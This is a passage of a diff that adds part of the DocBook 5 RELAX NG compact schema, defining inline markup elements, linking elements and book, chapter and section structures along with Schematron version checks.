db.tag.role.attribute = attribute role { text } + db.tag.class.enumeration = + + ## An attribute + "attribute" + | + ## An attribute value + "attvalue" + | + ## An element + "element" + | + ## An empty element tag + "emptytag" + | + ## An end tag + "endtag" + | + ## A general entity + "genentity" + | + ## A numeric character reference + "numcharref" + | + ## A parameter entity + "paramentity" + | + ## A processing instruction + "pi" + | + ## An SGML comment + "comment" + | + ## A start tag + "starttag" + | + ## An XML processing instruction + "xmlpi" + db.tag.class.attribute = + + ## Identifies the nature of the tag content + attribute class { db.tag.class.enumeration } + db.tag.namespace.attribute = + + ## Identifies the namespace of the tag content + attribute namespace { xsd:anyURI } + db.tag.attlist = + db.tag.role.attribute? + & db.common.attributes + & db.common.linking.attributes + & db.tag.class.attribute? + & db.tag.namespace.attribute? + db.tag = + + ## A component of XML (or SGML) markup + element tag { db.tag.attlist, db._text } +} +div { + db.symbol.class.attribute = + + ## Identifies the class of symbol + attribute class { + + ## The value is a limit of some kind + "limit" + } + db.symbol.role.attribute = attribute role { text } + db.symbol.attlist = + db.symbol.role.attribute? + & db.common.attributes + & db.common.linking.attributes + & db.symbol.class.attribute? + db.symbol = + + ## A name that is replaced by a value before processing + element symbol { db.symbol.attlist, db._text } +} +db.systemitem.inlines = db._text | db.co +div { + db.systemitem.class.enumeration = + + ## A daemon or other system process (syslogd) + "daemon" + | + ## A domain name (example.com) + "domainname" + | + ## An ethernet address (00:05:4E:49:FD:8E) + "etheraddress" + | + ## An event of some sort (SIGHUP) + "event" + | + ## An event handler of some sort (hangup) + "eventhandler" + | + ## A filesystem (ext3) + "filesystem" + | + ## A fully qualified domain name (my.example.com) + "fqdomainname" + | + ## A group name (wheel) + "groupname" + | + ## An IP address (127.0.0.1) + "ipaddress" + | + ## A library (libncurses) + "library" + | + ## A macro + "macro" + | + ## A netmask (255.255.255.192) + "netmask" + | + ## A newsgroup (comp.text.xml) + "newsgroup" + | + ## An operating system name (Hurd) + "osname" + | + ## A process (gnome-cups-icon) + "process" + | + ## A protocol (ftp) + "protocol" + | + ## A resource + "resource" + | + ## A server (mail.example.com) + "server" + | + ## A service (ppp) + "service" + | + ## A system name (hephaistos) + "systemname" + | + ## A user name (ndw) + "username" + db.systemitem.class.attribute = + + ## Identifies the nature of the system item + attribute class { db.systemitem.class.enumeration } + db.systemitem.role.attribute = attribute role { text } + db.systemitem.attlist = + db.systemitem.role.attribute? + & db.common.attributes + & db.common.linking.attributes + & db.systemitem.class.attribute? + db.systemitem = + + ## A system-related item or term + element systemitem { db.systemitem.attlist, db.systemitem.inlines* } +} +div { + db.uri.type.attribute = + + ## Identifies the type of URI specified + attribute type { text }? + db.uri.role.attribute = attribute role { text } + db.uri.attlist = + db.uri.role.attribute? + & db.common.attributes + & db.common.linking.attributes + & db.uri.type.attribute + db.uri = + + ## A Uniform Resource Identifier + element uri { db.uri.attlist, db._text } +} +div { + db.token.role.attribute = attribute role { text } + db.token.attlist = + db.token.role.attribute? + & db.common.attributes + & db.common.linking.attributes + db.token = + + ## A unit of information + element token { db.token.attlist, db._text } +} +div { + db.type.role.attribute = attribute role { text } + db.type.attlist = + db.type.role.attribute? + & db.common.attributes + & db.common.linking.attributes + db.type = + + ## The classification of a value + element type { db.type.attlist, db._text } +} +db.userinput.inlines = + (text + | db.ubiq.inlines + | db.os.inlines + | db.technical.inlines + | db.markup.inlines) + | db.co +div { + db.userinput.role.attribute = attribute role { text } + db.userinput.attlist = + db.userinput.role.attribute? + & db.common.attributes + & db.common.linking.attributes + db.userinput = + + ## Data entered by the user + element userinput { db.userinput.attlist, db.userinput.inlines* } +} +div { + db.abbrev.role.attribute = attribute role { text } + db.abbrev.attlist = + db.abbrev.role.attribute? + & db.common.attributes + & db.common.linking.attributes + db.abbrev = + + ## An abbreviation, especially one followed by a period + element abbrev { + db.abbrev.attlist, + (db._text | db.superscript | db.subscript | db.trademark)* + } +} +div { + db.acronym.role.attribute = attribute role { text } + db.acronym.attlist = + db.acronym.role.attribute? + & db.common.attributes + & db.common.linking.attributes + db.acronym = + + ## An often pronounceable word made from the initial (or selected) letters of a name or phrase + element acronym { + db.acronym.attlist, + (db._text | db.superscript | db.subscript | db.trademark)* + } +} +div { + db.citation.role.attribute = attribute role { text } + db.citation.attlist = + db.citation.role.attribute? + & db.common.attributes + & db.common.linking.attributes + db.citation = + + ## An inline bibliographic reference to another published work + element citation { db.citation.attlist, db.all.inlines* } +} +div { + db.citerefentry.role.attribute = attribute role { text } + db.citerefentry.attlist = + db.citerefentry.role.attribute? + & db.common.attributes + & db.common.linking.attributes + db.citerefentry = + + ## A citation to a reference page + element citerefentry { + db.citerefentry.attlist, db.refentrytitle, db.manvolnum? + } +} +div { + db.refentrytitle.role.attribute = attribute role { text } + db.refentrytitle.attlist = + db.refentrytitle.role.attribute? + & db.common.attributes + & db.common.linking.attributes + db.refentrytitle = + + ## The title of a reference page + element refentrytitle { db.refentrytitle.attlist, db.all.inlines* } +} +div { + db.manvolnum.role.attribute = attribute role { text } + db.manvolnum.attlist = + db.manvolnum.role.attribute? + & db.common.attributes + & db.common.linking.attributes + db.manvolnum = + + ## A reference volume number + element manvolnum { db.manvolnum.attlist, db._text } +} +div { + db.citetitle.pubwork.enumeration = + + ## An article + "article" + | + ## A bulletin board system + "bbs" + | + ## A book + "book" + | + ## A CD-ROM + "cdrom" + | + ## A chapter (as of a book) + "chapter" + | + ## A DVD + "dvd" + | + ## An email message + "emailmessage" + | + ## A gopher page + "gopher" + | + ## A journal + "journal" + | + ## A manuscript + "manuscript" + | + ## A posting to a newsgroup + "newsposting" + | + ## A part (as of a book) + "part" + | + ## A reference entry + "refentry" + | + ## A section (as of a book or article) + "section" + | + ## A series + "series" + | + ## A set (as of books) + "set" + | + ## A web page + "webpage" + | + ## A wiki page + "wiki" + db.citetitle.pubwork.attribute = + + ## Identifies the nature of the publication being cited + attribute pubwork { db.citetitle.pubwork.enumeration } + db.citetitle.role.attribute = attribute role { text } + db.citetitle.attlist = + db.citetitle.role.attribute? + & db.common.attributes + & db.common.linking.attributes + & db.citetitle.pubwork.attribute? + db.citetitle = + + ## The title of a cited work + element citetitle { db.citetitle.attlist, db.all.inlines* } +} +div { + db.emphasis.role.attribute = attribute role { text } + db.emphasis.attlist = + db.emphasis.role.attribute? + & db.common.attributes + & db.common.linking.attributes + db.emphasis = + + ## Emphasized text + element emphasis { db.emphasis.attlist, db.all.inlines* } +} +div { + db._emphasis = + + ## A limited span of emphasized text + element emphasis { db.emphasis.attlist, (db._text | db._emphasis)* } +} +div { + db.foreignphrase.role.attribute = attribute role { text } + db.foreignphrase.attlist = + db.foreignphrase.role.attribute? + & db.common.attributes + & db.common.linking.attributes + db.foreignphrase = + + ## A word or phrase in a language other than the primary language of the document + element foreignphrase { + db.foreignphrase.attlist, (text | db.general.inlines)* + } +} +div { + db.phrase.role.attribute = attribute role { text } + db.phrase.attlist = + db.phrase.role.attribute? + & db.common.attributes + & db.common.linking.attributes + db.phrase = + + ## A span of text + element phrase { db.phrase.attlist, db.all.inlines* } +} +div { + db._phrase = + + ## A limited span of text + element phrase { db.phrase.attlist, db._text } +} +div { + db.quote.role.attribute = attribute role { text } + db.quote.attlist = + db.quote.role.attribute? + & db.common.attributes + & db.common.linking.attributes + db.quote = + + ## An inline quotation + element quote { db.quote.attlist, db.all.inlines* } +} +div { + db.subscript.role.attribute = attribute role { text } + db.subscript.attlist = + db.subscript.role.attribute? + & db.common.attributes + & db.common.linking.attributes + db.subscript = + + ## A subscript (as in H2 + ## O, the molecular formula for water) + element subscript { db.subscript.attlist, db._text } +} +div { + db.superscript.role.attribute = attribute role { text } + db.superscript.attlist = + db.superscript.role.attribute? + & db.common.attributes + & db.common.linking.attributes + db.superscript = + + ## A superscript (as in x^2, the mathematical notation for x multiplied by itself) + element superscript { db.superscript.attlist, db._text } +} +div { + db.trademark.class.enumeration = + + ## A copyright + "copyright" + | + ## A registered copyright + "registered" + | + ## A service + "service" + | + ## A trademark + "trade" + db.trademark.class.attribute = + + ## Identifies the class of trade mark + attribute class { db.trademark.class.enumeration } + db.trademark.role.attribute = attribute role { text } + db.trademark.attlist = + db.trademark.role.attribute? + & db.common.attributes + & db.common.linking.attributes + & db.trademark.class.attribute? + db.trademark = + + ## A trademark + element trademark { db.trademark.attlist, db._text } +} +div { + db.wordasword.role.attribute = attribute role { text } + db.wordasword.attlist = + db.wordasword.role.attribute? + & db.common.attributes + & db.common.linking.attributes + db.wordasword = + + ## A word meant specifically as a word and not representing anything else + element wordasword { db.wordasword.attlist, db._text } +} +div { + db.footnoteref.role.attribute = attribute role { text } + db.footnoteref.label.attribute = db.label.attribute + db.footnoteref.attlist = + db.footnoteref.role.attribute? + & db.common.attributes + & db.linkend.attribute + & db.footnoteref.label.attribute? + db.footnoteref = + + ## A cross reference to a footnote (a footnote mark) + [ + s:pattern [ + name = "Footnote reference type constraint" + "\x{a}" ~ + " " + s:rule [ + context = "db:footnoteref" + "\x{a}" ~ + " " + s:assert [ + test = + "local-name(//*[@id=current()/@linkend]) = 'footnote' and namespace-uri(//*[@id=current()/@linkend]) = 'http://docbook.org/ns/docbook'" + "@linkend on footnoteref must point to a footnote." + ] + "\x{a}" ~ + " " + ] + "\x{a}" ~ + " " + ] + ] + element footnoteref { db.footnoteref.attlist, empty } +} +div { + db.xref.role.attribute = attribute role { text } + db.xref.xrefstyle.attribute = db.xrefstyle.attribute + db.xref.endterm.attribute = db.endterm.attribute + db.xref.attlist = + db.xref.role.attribute? + & db.common.attributes + & db.common.req.linking.attributes + & db.xref.xrefstyle.attribute? + & db.xref.endterm.attribute? + db.xref = + + ## A cross reference to another part of the document + element xref { db.xref.attlist, empty } +} +div { + db.link.role.attribute = attribute role { text } + db.link.xrefstyle.attribute = db.xrefstyle.attribute + db.link.endterm.attribute = db.endterm.attribute + db.link.attlist = + db.link.role.attribute? + & db.common.attributes + & db.common.req.linking.attributes + & db.link.xrefstyle.attribute? + & db.link.endterm.attribute? + db.link = + + ## A hypertext link + element link { db.link.attlist, db.all.inlines* } +} +div { + db.olink.role.attribute = attribute role { text } + db.olink.xrefstyle.attribute = db.xrefstyle.attribute + db.olink.localinfo.attribute = + + ## Holds additional information that may be used by the applicatoin when resolving the link + attribute localinfo { text } + db.olink.targetdoc.attribute = + + ## Specifies the URI of the document in which the link target appears + attribute targetdoc { xsd:anyURI } + db.olink.targetptr.attribute = + + ## Specifies the location of the link target in the document + attribute targetptr { text } + db.olink.type.attribute = + + ## Identifies application-specific customization of the link behavior + attribute type { text } + db.olink.attlist = + db.common.attributes + & db.olink.targetdoc.attribute + & db.olink.role.attribute? + & db.olink.xrefstyle.attribute? + & db.olink.localinfo.attribute? + & db.olink.targetptr.attribute? + & db.olink.type.attribute? + db.olink = + + ## A link that addresses its target indirectly + element olink { db.olink.attlist, db.all.inlines* } +} +div { + db.anchor.role.attribute = attribute role { text } + db.anchor.attlist = + db.anchor.role.attribute? & db.common.idreq.attributes + db.anchor = + + ## A spot in the document + element anchor { db.anchor.attlist, empty } +} +div { + db.alt.role.attribute = attribute role { text } + db.alt.attlist = db.alt.role.attribute? & db.common.attributes + db.alt = + + ## A text-only annotation, often used for accessibility + element alt { db.alt.attlist, (text | db.inlinemediaobject)* } +} +db.annotations.attribute = + + ## Identifies one or more annotations that apply to this element + attribute annotations { text } +div { + db.annotation.role.attribute = attribute role { text } + db.annotation.annotates.attribute = + + ## Identifies one ore more elements to which this annotation applies + attribute annotates { text } + db.annotation.attlist = + db.annotation.role.attribute? + & db.annotation.annotates.attribute? + & db.common.attributes + db.annotation.info = db._info.title.only + db.annotation = + + ## An annotation + [ + s:pattern [ + name = "Element exclusion" + "\x{a}" ~ + " " + s:rule [ + context = "db:annotation" + "\x{a}" ~ + " " + s:assert [ + test = "not(.//db:annotation)" + "annotation must not occur in the descendants of annotation" + ] + "\x{a}" ~ + " " + ] + "\x{a}" ~ + " " + ] + ] + element annotation { + db.annotation.attlist, db.annotation.info, db.all.blocks+ + } +} +db.xlink.from.attribute = + + ## Specifies the XLink traversal-from + attribute xlink:from { xsd:NMTOKEN }? +db.xlink.label.attribute = + + ## Specifies the XLink label + attribute xlink:label { xsd:NMTOKEN }? +db.xlink.to.attribute = + + ## Specifies the XLink traversal-to + attribute xlink:to { xsd:NMTOKEN }? +div { + db.extendedlink.role.attribute = attribute role { text } + db.extendedlink.attlist = + db.extendedlink.role.attribute? + & db.common.attributes + & + ## Identifies the XLink link type + [ a:defaultValue = "extended" ] + attribute xlink:type { + + ## An XLink extended link + "extended" + }? + & db.xlink.role.attribute? + & db.xlink.title.attribute? + db.extendedlink = + + ## An XLink extended link + element extendedlink { + db.extendedlink.attlist, (db.locator | db.arc)+ + } +} +div { + db.locator.role.attribute = attribute role { text } + db.locator.attlist = + db.locator.role.attribute? + & db.common.attributes + & + ## Identifies the XLink link type + [ a:defaultValue = "locator" ] + attribute xlink:type { + + ## An XLink locator link + "locator" + }? + & db.xlink.href.attribute + & db.xlink.role.attribute? + & db.xlink.title.attribute? + & db.xlink.label.attribute? + db.locator = + + ## An XLink locator in an extendedlink + element locator { db.locator.attlist, empty } +} +div { + db.arc.role.attribute = attribute role { text } + db.arc.attlist = + db.arc.role.attribute? + & db.common.attributes + & + ## Identifies the XLink link type + [ a:defaultValue = "arc" ] + attribute xlink:type { + + ## An XLink arc link + "arc" + }? + & db.xlink.arcrole.attribute? + & db.xlink.title.attribute? + & db.xlink.show.attribute? + & db.xlink.actuate.attribute? + & db.xlink.from.attribute? + & db.xlink.to.attribute? + db.arc = + + ## An XLink arc in an extendedlink + element arc { db.arc.attlist, empty } +} +db.status.attribute = + + ## Identifies the editorial or publication status of the element on which it occurs + attribute status { text } +db.toplevel.sections = + ((db.section+, db.simplesect*) | db.simplesect+) + | (db.sect1+, db.simplesect*) + | db.refentry+ + | ((db.section | db.xi.include)+ | (db.simplesect | db.xi.include)+) + | (db.refentry | db.xi.include)+ + | (db.refsect1 | db.xi.include)+ + | (db.sect1 | db.xi.include)+ +db.toplevel.blocks.or.sections = + (db.all.blocks+, db.toplevel.sections?) | db.toplevel.sections +db.recursive.sections = + ((db.section+, db.simplesect*) | db.simplesect+) + | db.refentry+ + | ((db.section | db.xi.include)+ | (db.simplesect | db.xi.include)+) + | (db.refentry | db.xi.include)+ + | (db.refsect1 | db.xi.include)+ +db.recursive.blocks.or.sections = + (db.all.blocks+, db.recursive.sections?) | db.recursive.sections +db.divisions = db.part | db.reference | db.xi.include +db.components = + (db.dedication + | db.preface + | db.chapter + | db.appendix + | db.article + | db.colophon) + | db.xi.include +db.navigation.components = + notAllowed | db.glossary | db.bibliography | db.index | db.toc +db.component.contentmodel = + db.navigation.components*, + db.toplevel.blocks.or.sections, + db.navigation.components* +db.setindex.components = notAllowed | db.setindex +db.toc.components = notAllowed | db.toc +db.set.components = db.set | db.book +div { + db.set.status.attribute = db.status.attribute + db.set.role.attribute = attribute role { text } + db.set.attlist = + db.set.role.attribute? + & db.common.attributes + & db.common.linking.attributes + & db.label.attribute? + & db.set.status.attribute? + db.set.info = db._info.title.req + db.set = + + ## A collection of books + [ + s:pattern [ + name = "Root must have version" + "\x{a}" ~ + " " + s:rule [ + context = "/db:set" + "\x{a}" ~ + " " + s:assert [ + test = "@version" + "The root element must have a version attribute." + ] + "\x{a}" ~ + " " + ] + "\x{a}" ~ + " " + ] + ] + element set { + db.set.attlist, + db.set.info, + db.toc.components?, + db.set.components+, + db.setindex.components? + } +} +div { + db.book.status.attribute = db.status.attribute + db.book.role.attribute = attribute role { text } + db.book.attlist = + db.book.role.attribute? + & db.common.attributes + & db.common.linking.attributes + & db.label.attribute? + & db.book.status.attribute? + db.book.info = db._info.title.req + db.book = + + ## A book + [ + s:pattern [ + name = "Root must have version" + "\x{a}" ~ + " " + s:rule [ + context = "/db:book" + "\x{a}" ~ + " " + s:assert [ + test = "@version" + "The root element must have a version attribute." + ] + "\x{a}" ~ + " " + ] + "\x{a}" ~ + " " + ] + ] + element book { + db.book.attlist, + db.book.info, + (db.navigation.components | db.components | db.divisions)+ + } +} +div { + db.dedication.status.attribute = db.status.attribute + db.dedication.role.attribute = attribute role { text } + db.dedication.attlist = + db.dedication.role.attribute? + & db.common.attributes + & db.common.linking.attributes + & db.label.attribute? + & db.dedication.status.attribute? + db.dedication.info = db._info + db.dedication = + + ## A wrapper for the dedication section of a book + [ + s:pattern [ + name = "Root must have version" + "\x{a}" ~ + " " + s:rule [ + context = "/db:dedication" + "\x{a}" ~ + " " + s:assert [ + test = "@version" + "The root element must have a version attribute." + ] + "\x{a}" ~ + " " + ] + "\x{a}" ~ + " " + ] + ] + element dedication { + db.dedication.attlist, db.dedication.info, db.all.blocks+ + } +} +div { + db.colophon.status.attribute = db.status.attribute + db.colophon.role.attribute = attribute role { text } + db.colophon.attlist = + db.colophon.role.attribute? + & db.common.attributes + & db.common.linking.attributes + & db.label.attribute? + & db.colophon.status.attribute? + db.colophon.info = db._info + db.colophon = + + ## Text at the back of a book describing facts about its production + [ + s:pattern [ + name = "Root must have version" + "\x{a}" ~ + " " + s:rule [ + context = "/db:colophon" + "\x{a}" ~ + " " + s:assert [ + test = "@version" + "The root element must have a version attribute." + ] + "\x{a}" ~ + " " + ] + "\x{a}" ~ + " " + ] + ] + element colophon { + db.colophon.attlist, db.colophon.info, db.all.blocks+ + } +} +div { + db.appendix.status.attribute = db.status.attribute + db.appendix.role.attribute = attribute role { text } + db.appendix.attlist = + db.appendix.role.attribute? + & db.common.attributes + & db.common.linking.attributes + & db.label.attribute? + & db.appendix.status.attribute? + db.appendix.info = db._info.title.req + db.appendix = + + ## An appendix in a Book or Article + [ + s:pattern [ + name = "Root must have version" + "\x{a}" ~ + " " + s:rule [ + context = "/db:appendix" + "\x{a}" ~ + " " + s:assert [ + test = "@version" + "The root element must have a version attribute." + ] + "\x{a}" ~ + " " + ] + "\x{a}" ~ + " " + ] + ] + element appendix { + db.appendix.attlist, db.appendix.info, db.component.contentmodel + } +} +div { + db.chapter.status.attribute = db.status.attribute + db.chapter.role.attribute = attribute role { text } + db.chapter.attlist = + db.chapter.role.attribute? + & db.common.attributes + & db.common.linking.attributes + & db.label.attribute? + & db.chapter.status.attribute? + db.chapter.info = db._info.title.req + db.chapter = + + ## A chapter, as of a book + [ + s:pattern [ + name = "Root must have version" + "\x{a}" ~ + " " + s:rule [ + context = "/db:chapter" + "\x{a}" ~ + " " + s:assert [ + test = "@version" + "The root element must have a version attribute." + ] + "\x{a}" ~ + " " + ] + "\x{a}" ~ + " " + ] + ] + element chapter { + db.chapter.attlist, db.chapter.info, db.component.contentmodel + } +} +db.part.components = + (db.navigation.components | db.components) + | (db.refentry | db.reference) + | db.xi.include +div { + db.part.status.attribute = db.status.attribute + db.part.role.attribute = attribute role { text } + db.part.attlist = + db.part.role.attribute? + & db.common.attributes + & db.common.linking.attributes + & db.label.attribute? + & db.part.status.attribute? + db.part.info = db._info.title.req + db.part = + + ## A division in a book + [ + s:pattern [ + name = "Root must have version" + "\x{a}" ~ + " " + s:rule [ + context = "/db:part" + "\x{a}" ~ + " " + s:assert [ + test = "@version" + "The root element must have a version attribute." + ] + "\x{a}" ~ + " " + ] + "\x{a}" ~ + " " + ] + ] + element part { + db.part.attlist, db.part.info, db.partintro?, db.part.components+ + } +} +div { + db.preface.status.attribute = db.status.attribute + db.preface.role.attribute = attribute role { text } + db.preface.attlist = + db.preface.role.attribute? + & db.common.attributes + & db.common.linking.attributes + & db.label.attribute? + & db.preface.status.attribute? + db.preface.info = db._info.title.req + db.preface = + + ## Introductory matter preceding the first chapter of a book + [ + s:pattern [ + name = "Root must have version" + "\x{a}" ~ + " " + s:rule [ + context = "/db:preface" + "\x{a}" ~ + " " + s:assert [ + test = "@version" + "The root element must have a version attribute." + ] + "\x{a}" ~ + " " + ] + "\x{a}" ~ + " " + ] + ] + element preface { + db.preface.attlist, db.preface.info, db.component.contentmodel + } +} +div { + db.partintro.status.attribute = db.status.attribute + db.partintro.role.attribute = attribute role { text } + db.partintro.attlist = + db.partintro.role.attribute? + & db.common.attributes + & db.common.linking.attributes + & db.label.attribute? + & db.partintro.status.attribute? + db.partintro.info = db._info + db.partintro = + + ## An introduction to the contents of a part + element partintro { + db.partintro.attlist, + db.partintro.info, + db.toplevel.blocks.or.sections + } +} +div { + db.section.status.attribute = db.status.attribute + db.section.role.attribute = attribute role { text } + db.section.attlist = + db.section.role.attribute? + & db.common.attributes + & db.common.linking.attributes + & db.label.attribute? + & db.section.status.attribute? + db.section.info = db._info.title.req + db.section = + + ## A recursive section + [ + s:pattern [ + name = "Root must have version" + "\x{a}" ~ + " " + s:rule [ + context = "/db:section" + "\x{a}" ~ + " " + s:assert [ + test = "@version" + "The root element must have a version attribute." + ] + "\x{a}" ~ + " " + ] + "\x{a}" ~ + " " + ] + ] + element section { + db.section.attlist, + db.section.info, + db.recursive.blocks.or.sections, + db.navigation.components* + } +} +div { + db.simplesect.status.attribute = db.status.attribute + db.simplesect.role.attribute = attribute role { text } + db.simplesect.attlist = + db.simplesect.role.attribute? + & db.common.attributes + & db.common.linking.attributes + & db.label.attribute? + & db.simplesect.status.attribute? + db.simplesect.info = db._info.title.req + db.simplesect = + + ## A section of a document with no subdivisions + element simplesect { + db.simplesect.attlist, db.simplesect.info, db.all.blocks+ + } +} +div { + db.ackno.role.attribute = attribute role { text } + db.ackno.attlist = + db.ackno.role.attribute? + & db.common.attributes + & db.common.linking.attributes + db.ackno = + + ## Acknowledgements in an Article + element ackno { db.ackno.attlist, db.para.blocks+ } +} +db.article.components = db.toplevel.sections +div { + db.article.status.attribute = db.status.attribute + db.article.class.enumeration = + + ## A collection of frequently asked questions. + "faq" + | + ## An article in a journal or other periodical. + "journalarticle" + | + ## A description of a product. + "productsheet" + | + ## A specification. + "specification" + | + ## A technical report. + "techreport" + | + ## A white paper. + "whitepaper" + db.article.class.attribute = + + ## Identifies the nature of the article + attribute class { db.article.class.enumeration } + db.article.role.attribute = attribute role { text } + db.article.attlist = + db.article.role.attribute? + & db.common.attributes + & db.common.linking.attributes + & db.label.attribute? + & db.article.status.attribute? + & db.article.class.attribute? + db.article.info = db._info.title.req + db.article = + + ## An article + [ + s:pattern [ + name = "Root must have version" + "\x{a}" ~ + " " + s:rule [ + context = "/db:article" + "\x{a}" ~ + " " + s:assert [ + test = "@version" + "The root element must have a version attribute." + ] + "\x{a}" ~ + " " + ] + "\x{a}" ~ + " " + ] + ] + element article { + db.article.attlist, + db.article.info, + db.navigation.components*, + ((db.all.blocks+, db.article.components?) + | db.article.components), + (db.appendix | db.navigation.components | db.ackno | db.colophon)* + } +} +db.sect1.sections = + ((db.sect2+, db.simplesect*) | db.simplesect+) + | (db.sect2 | db.xi.include)+ +div { + db.sect1.status.attribute = db.status.attribute + db.sect1.role.attribute = attribute role { text } + db.sect1.attlist = + db.sect1.role.attribute? + & db.common.attributes + & db.common.linking.attributes + & db.label.attribute? + & db.sect1.status.attribute? + db.sect1.info = db._info.title.req + db.sect1 = + + ## A top-level section of document + [ + s:pattern [ + name = "Root must have version" + "\x{a}" ~ + " " + s:rule [ + context = "/db:sect1" + "\x{a}" ~ + " " + s:assert [ + test = "@version" + "The root element must have a version attribute." + ] + "\x{a}" ~ + " " + ] + "\x{a}" ~ + " " + ] + ] + element sect1 { + db.sect1.attlist, + db.sect1.info, + ((db.all.blocks+, db.sect1.sections?) | db.sect1.sections), + db.navigation.components* + } +} +db.sect2.sections = + ((db.sect3+, db.simplesect*) | db.simplesect+) + | (db.sect3 | db.xi.include)+ +div { + db.sect2.status.attribute = db.status.attribute + db.sect2.role.attribute = attribute role { text } + db.sect2.attlist = + db.sect2.role.attribute? + & db.common.attributes + & db.common.linking.attributes + & db.label.attribute? + & db.sect2.status.attribute? + db.sect2.info = db._info.title.req + db.sect2 = + + ## A subsection within a Sect1 + [ + s:pattern [ + name = "Root must have version" + "\x{a}" ~ + " " + s:rule [ + context = "/db:sect2" + "\x{a}" ~ + " " + s:assert [ + test = "@version" + "The root element must have a version attribute." + ] + "\x{a}" ~ + " " + ] + "\x{a}" ~ + " " + ] + ] + element sect2 { + db.sect2.attlist, + db.sect2.info, + ((db.all.blocks+, db.sect2.sections?) | db.sect2.sections), + db.navigation.components* + } +} +db.sect3.sections = + ((db.sect4+, db.simplesect*) | db.simplesect+) + | (db.sect4 | db.xi.include)+ +div { + db.sect3.status.attribute = db.status.attribute + db.sect3.role.attribute = attribute role { text } + db.sect3.attlist = + db.sect3.role.attribute? + & db.common.attributes + & db.common.linking.attributes + & db.label.attribute? + & db.sect3.status.attribute? + db.sect3.info = db._info.title.req + db.sect3 = + + ## A subsection within a Sect2 + [ + s:pattern [ + name = "Root must have version" + "\x{a}" ~ + " " + s:rule [ + context = "/db:sect3" + "\x{a}" ~ + " " + s:assert [ + test = "@version" + "The root element must have a version attribute." + ] + "\x{a}" ~ + " " + ] + "\x{a}" ~ + " " + ] + ] + element sect3 { + db.sect3.attlist, + db.sect3.info, + ((db.all.blocks+, db.sect3.sections?) | db.sect3.sections), + db.navigation.components* + } +} +db.sect4.sections = + ((db.sect5+, db.simplesect*) | db.simplesect+) + | (db.sect5 | db.xi.include)+ +div { + db.sect4.status.attribute = db.status.attribute + db.sect4.role.attribute = attribute role { text } + db.sect4.attlist = + db.sect4.role.attribute? + & db.common.attributes + & db.common.linking.attributes + & db.label.attribute? + & db.sect4.status.attribute? + db.sect4.info = db._info.title.req + db.sect4 = + + ## A subsection within a Sect3 + [ + s:pattern [ + name = "Root must have version" + "\x{a}" ~ + " " + s:rule [ + context = "/db:sect4" + "\x{a}" ~ + " " + s:assert [ + test = "@version" + "The root element must have a version attribute." + ] + "\x{a}" ~ + " " + ] + "\x{a}" ~ + " " + ] + ] + element sect4 { + db.sect4.attlist, + db.sect4.info, + ((db.all.blocks+, db.sect4.sections?) | db.sect4.sections), + db.navigation.components* + } +} +db.sect5.sections = db.simplesect+ | (db.simplesect | db.xi.include)+ +div { + db.sect5.status.attribute = db.status.attribute + db.sect5.role.attribute = attribute role { text } + db.sect5.attlist = + db.sect5.role.attribute? + & db.common.attributes + & db.common.linking.attributes + & db.label.attribute? + & db.sect5.status.attribute? + db.sect5.info = db._info.title.req + db.sect5 = + + ## A subsection within a Sect4 + [ + s:pattern [ + name = "Root must have version" + "\x{a}" ~ + " " + s:rule [ + context = "/db:sect5" + "\x{a}" ~ + " " + s:assert [ + test = "@version" + "The root element must have a version attribute." + ] + "\x{a}" ~ + " " + ] + "\x{a}" ~ + " " + ] + ] + element sect5 { + db.sect5.attlist, + db.sect5.info, + ((db.all.blocks+, db.sect5.sections?) | db.sect5.sections), + db.navigation.components* + } +} +db.toplevel.refsection = + db.refsection+ + | db.refsect1+ + | (db.refentry | db.xi.include)+ + | (db.refsect1 | db.xi.include)+ +db.secondlevel.refsection = + db.refsection+ + | db.refsect2+ + | (db.refentry | db.xi.include)+ + | (db.refsect2 | db.xi.include)+ +div { + db.reference.role.attribute = attribute role { text } + db.reference.attlist = + db.reference.role.attribute? + & db.common.attributes + & db.common.linking.attributes + & db.status.attribute? + & db.label.attribute? + db.reference.info = db._info.title.req + db.reference = + + ## A collection of reference entries + [ + s:pattern [ + name = "Root must have version" + "\x{a}" ~ + " " + s:rule [ + context = "/db:reference" + "\x{a}" ~ + " " + s:assert [ + test = "@version" + "The root element must have a version attribute." + ] + "\x{a}" ~ + " " + ] + "\x{a}" ~ + " " + ] + ] + element reference { + db.reference.attlist, + db.reference.info, + db.partintro?, + db.refentry+ + } +} +div { + db.refentry.role.attribute = attribute role { text } + db.refentry.attlist = + db.refentry.role.attribute? + & db.common.attributes + & db.common.linking.attributes + & db.status.attribute? + & db.label.attribute? + db.refentry.info = db._info.title.forbidden + db.refentry = + + ## A reference page (originally a UNIX man-style reference page) + [ + s:pattern [ + name = "Root must have version" + "\x{a}" ~ + " " + s:rule [ + context = "/db:refentry" + "\x{a}" ~ + " " + s:assert [ + test = "@version" + "The root element must have a version attribute." + ] + "\x{a}" ~ + " " + ] + "\x{a}" ~ + " " + ] + ] + element refentry { + db.refentry.attlist, + db.indexterm*, + db.refentry.info, + db.refmeta?, + db.refnamediv+, + db.refsynopsisdiv?, + db.toplevel.refsection + } +} +div { + db.refmeta.role.attribute = attribute role { text } + db.refmeta.attlist = + db.refmeta.role.attribute? + & db.common.attributes + & db.common.linking.attributes + db.refmeta = + + ## Meta-information for a reference entry + element refmeta { + db.refmeta.attlist, + db.indexterm*, + db.refentrytitle, + db.manvolnum?, + db.refmiscinfo*, + db.indexterm* + } +} +db.refmiscinfo.class.enumeration = + + ## The name of the software product or component to which this topic applies + "source" + | + ## The version of the software product or component to which this topic applies + "version" + | + ## The section title of the reference page (e.g., User Commands) + "manual" + | + ## The section title of the reference page (believed synonymous with "manual" but in wide use) + "sectdesc" + | + ## The name of the software product or component to which this topic applies (e.g., SunOS x.y; believed synonymous with "source" but in wide use) + "software" +db.refmiscinfo.class-enum.attribute = + + ## Identifies the kind of miscellaneous information + attribute class { db.refmiscinfo.class.enumeration }? +db.refmiscinfo.class-other.attribute = + + ## Identifies the nature of non-standard miscellaneous information + attribute otherclass { text } +db.refmiscinfo.class-other.attributes = + + ## Identifies the kind of miscellaneious information + attribute class { + + ## Indicates that the information is some 'other' kind. + "other" + } + & db.refmiscinfo.class-other.attribute +db.refmiscinfo.class.attribute = + db.refmiscinfo.class-enum.attribute + | db.refmiscinfo.class-other.attributes +div { + db.refmiscinfo.role.attribute = attribute role { text } + db.refmiscinfo.attlist = + db.refmiscinfo.role.attribute? + & db.common.attributes + & db.common.linking.attributes + & db.refmiscinfo.class.attribute? + db.refmiscinfo = + + ## Meta-information for a reference entry other than the title and volume number + element refmiscinfo { 